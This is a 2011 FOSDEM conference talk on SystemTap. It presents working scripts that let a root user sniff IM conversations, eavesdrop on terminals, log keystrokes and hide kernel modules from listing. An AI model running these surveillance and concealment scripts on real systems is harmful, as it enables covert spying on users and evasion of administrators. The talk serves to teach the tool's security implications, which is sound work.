BOFH meets SystemTap: rootkits made trivial

Adrien Kunysz
adrien@kunysz.be

FOSDEM, Brussels, Belgium
5 February 2011

Who is Adrien Kunysz?

- Krunch on Freenode
- I like to look at core files, to read code, to tinker with lower level components and tools (kernel, libc, debuggers,. . .) and to find potential security implications
- I have been using SystemTap a lot in the last two years
- I am just a happy SystemTap user (not a developer)
- I am not a BOFH (really)
- co-founder of FSUGAr (Arlon, Belgium)
- I am looking for a job :)

Who is the Bastard Operator From Hell?

- supposedly fictional character from Simon Travaglia
- a Unix Operator who enjoys abusing his users
  - listen on communications
  - enforce stupid restrictions
  - ...

What is SystemTap?

According to http://sourceware.org/systemtap/

> *SystemTap provides free software (GPL) infrastructure to simplify the gathering of information about the running Linux system. This assists diagnosis of a performance or functional problem. SystemTap eliminates the need for the developer to go through the tedious and disruptive instrument, recompile, install, and reboot sequence that may be otherwise required to collect data.*

- I like to think of it as a system-wide code injection framework
- with facilities for common tracing/debugging jobs
- makes it very easy to observe anything about a live system
  - ...the problem is to figure out what you want to observe
- you can also change the behaviour of the system

What is this presentation about?

- the BOFH got a new toy: SystemTap
- no actual breaking of security as he is root already
- SystemTap just makes some things much easier
- let's see how

How does SystemTap work?

1. write a script describing what you want to observe (or change)
2. stap translates it into a kernel module
3. stap loads the module and communicates with it
4. just wait for your data

The five stap passes

```
# stap -v test.stp
Pass 1: parsed user script and 38 library script(s) in
   150usr/20sys/183real ms.
Pass 2: analyzed script: 1 probe(s), 5 function(s), 14
   embed(s), 0 global(s) in 110usr/110sys/242real ms.
Pass 3: translated to C into
   "/tmp/stapEjEd0T/stap_6455011c477a19ec8c7bbd5ac12a9cd0_13
    in 0usr/0sys/0real ms.
Pass 4: compiled C into
   "stap_6455011c477a19ec8c7bbd5ac12a9cd0_13608.ko" in
   1250usr/240sys/1685real ms.
Pass 5: starting run.
[...script output goes here...]
Pass 5: run completed in 20usr/30sys/4204real ms.
```

SystemTap probe points examples

SystemTap is all about executing certain actions when hitting certain probe points.

- `syscall.read`
  - when entering read() system call
- `syscall.close.return`
  - when returning from the close() system call
- `module("floppy").function("*")`
  - when entering any function from the "floppy" module
- `kernel.function("*@net/socket.c").return`
  - when returning from any function in file `net/socket.c`
- `kernel.statement("*@kernel/sched.c:2917")`
  - when hitting line 2917 of file `kernel/sched.c`

More probe points examples

- `timer.ms(200)`
  - every 200 milliseconds
- `process("/bin/ls").function("*")`
  - when entering any function in /bin/ls (not its libraries or syscalls)
- `process("/lib/libc.so.6").function("*malloc*")`
  - when entering any glibc function which has "malloc" in its name
- `kernel.function("*init*"), kernel.function("*exit*").return`
  - when entering any kernel function which has "init" in its name or returning from any kernel function which has "exit" in its name

RTFM for more (`man stapprobes`).

SystemTap programming language

- mostly C-style syntax with a feeling of awk
- builtin associative arrays
- builtin aggregates of statistical data
  - very easy to collect data and do statistics on it (average, min, max, count,. . .)
- many helper functions (builtin and in tapsets)

RTFM: *SystemTap Language Reference* shipped with SystemTap (langref.pdf)

Some examples of helper functions

`pid()`	which process is this?
`uid()`	which user is running this?
`execname()`	what is the name of this process?
`tid()`	which thread is this?
`gettimeofday_s()`	epoch time in seconds
`probefunc()`	what function are we in?
`print_backtrace()`	figure out how we ended up here
`kernel_string()`	retrieve string from kernel
`user_string()`	retrieve string from userland

There are many many more. RTFM (`man stapfuncs`) and explore `/usr/share/systemtap/tapset/`.

Some cool stap options

- `-x` instrument only specified PID
- `-c` run given command and only instrument it and its children
- `-L` list probe points matching given pattern along with available variables
- `-F` build and load the module then detach (more stealthy)
- `-g` change things, embed C code in stap script
  - unsafe, dangerous and fun

Guru mode

- `stap -g`
- allows you to actually change things, not just observe
- set variables instead of just reading them
- embed custom C code about anywhere
- easy to mess up something and cause a crash

Agenda

Example 1: sniffing IM conversations

Listing 1: purplesniff.stp

```
probe process("/usr/lib64/libpurple.so.0")
      .function("purple_conversation_write")
{
        printf("<%s> %s\n",
               user_string($who),
               user_string($message))
}
```

This is the function we are instrumenting:

```
void purple_conversation_write(
        PurpleConversation *conv,
        const char *who,
        const char *message,
        PurpleMessageFlags flags, time_t mtime)
{
```

Example 2: eavesdropping on a pseudo terminal

The code we want to instrument:

```
/**
 *      pty_write               -       write to a pty
 *      @tty: the tty we write from
 *      @buf: kernel buffer of data
 *      @count: bytes to write
[...]
 */

static int pty_write(struct tty_struct *tty, const unsigned
    char *buf, int c)
{
```

As seen from SystemTap:

```
# stap -L 'kernel.function("pty_write")'
kernel.function("pty_write@drivers/char/pty.c:112")
   $tty:struct tty_struct* $buf:unsigned char const*
   $c:int $to:struct tty_struct*
```

Example 2 continued: eavesdropping on a pseudo terminal

Listing 2: ptysnoop.stp

```
probe kernel.function("pty_write") {
        if (kernel_string($tty->name) == @1) {
                printf("%s", kernel_string_n($buf, $c))
        }
}
```

Example 3: forbidding access to specific file names

```
# stap -L 'kernel.function("may_open@fs/namei.c").return'
kernel.function("may_open@fs/namei.c:1505").return
    $return:int $path:struct path* $acc_mode:int $flag:int
    $dentry:struct dentry* $inode:struct inode* $error:int
```

Listing 3: nomp3.stp

```
# inspired by systemtap.examples/general/badname.stp
probe kernel.function("may_open@fs/namei.c").return {
        if (euid() && !$return &&
            isinstr(d_name($path->dentry), ".mp3"))
                $return = -13  # -EACCES (Permission
                    denied)
}
```

Example 4: a keylogger

The function we are going to tap into:

```
# stap -L 'kernel.function("kbd_event")'
kernel.function("kbd_event@drivers/char/keyboard.c:1296")
    $handle:struct input_handle* $event_type:unsigned int
    $event_code:unsigned int $value:int
```

The existing table we are going to use to decode keyboard events:

```
static const char *keys[KEY_MAX + 1] = {
    [KEY_RESERVED] = "Reserved",      [KEY_ESC] = "Esc",
    [KEY_1] = "1",                    [KEY_2] = "2",
...
```

Ugly lazy way to get access to that table: look up its address from /proc/kallsyms.

Example 4 continued: a keylogger

Listing 4: kbdsniff.stp

```
// stap -g kbdsniff.stp `awk '$3~/^keys$/{print"0x"$1}'
    /proc/kallsyms`

function decode_key:string (keysaddr:long, val:long) %{
        const char **_keys = (const char**)THIS->keysaddr;
            /* from drivers/hid/hid-debug.c */
        const char *key_name = _keys[THIS->val];
        strlcpy(THIS->__retvalue, key_name, MAXSTRINGLEN);
%}

probe kernel.function("kbd_event") {
        if ($event_type == 1 && $value == 1) {
                printf("%s\n", decode_key($1, $event_code))
        }
}
```

Example 5: hiding SystemTap with SystemTap

The modules are listed in a ... list. We just need to temporary remove the modules we want to hide from that list whenever appropriate.

Example 5 continued: hiding SystemTap with SystemTap

```
function move_modules:long (from:long, to:long,
    pattern:string) %{
     static LIST_HEAD(hidden_modules);

     struct list_head *from = THIS->from ? (struct
         list_head*)THIS->from : &hidden_modules;
     struct list_head *to = THIS->to ? (struct
         list_head*)THIS->to : &hidden_modules;

     struct module *mod;
     struct module *tmp;
     THIS->__retvalue = 0;
     list_for_each_entry_safe(mod, tmp, from, list) {
             if (!strncmp(mod->name, THIS->pattern,
                 strlen(THIS->pattern))) {
                     list_move(&mod->list, to);
                     THIS->__retvalue++;
             }
     }
%}
```

Example 5 continued: hiding SystemTap with SystemTap

```
/* Called by the /proc file system to return a list of
   modules. */
static void *m_start(struct seq_file *m, loff_t *pos)
{
        mutex_lock(&module_mutex);
        return seq_list_start(&modules, *pos);
}
```

We want to move the modules after taking the lock but before anything has been done with the list:

```
probe kernel.function("m_start@kernel/module.c+2") {
        printf("hiding %d modules\n",
            move_modules($modules->next->prev, 0, to_hide))
}
```

Example 5 continued: hiding SystemTap with SystemTap

```
static void m_stop(struct seq_file *m, void *p)
{
        mutex_unlock(&module_mutex);
}
```

We want to restore the modules before releasing the lock but after the list has been displayed:

```
probe kernel.function("m_stop@kernel/module.c") {
        printf("unhiding %d modules\n", move_modules(0,
            $modules->next->prev, to_hide))
}
```

References and questions

- this talk and its examples: http://stapbofh.krunch.be/
- SystemTap Beginners Guide: http://sourceware.org/systemtap/SystemTap_Beginners_Guide/
- SystemTap wiki: http://sourceware.org/systemtap/wiki
- lot of excellent documentation included:
  - `man -k stap`
  - file:///usr/share/doc/systemtap*
- example scripts shipped with SystemTap: http://sourceware.org/systemtap/examples/
- systemtap@sources.redhat.com
- irc://chat.freenode.net/#systemtap
- The Bastard Operator From Hell by Simon Travaglia: http://bofh.ntk.net/BOFH/
- I am still looking for a job :) adrien@kunysz.be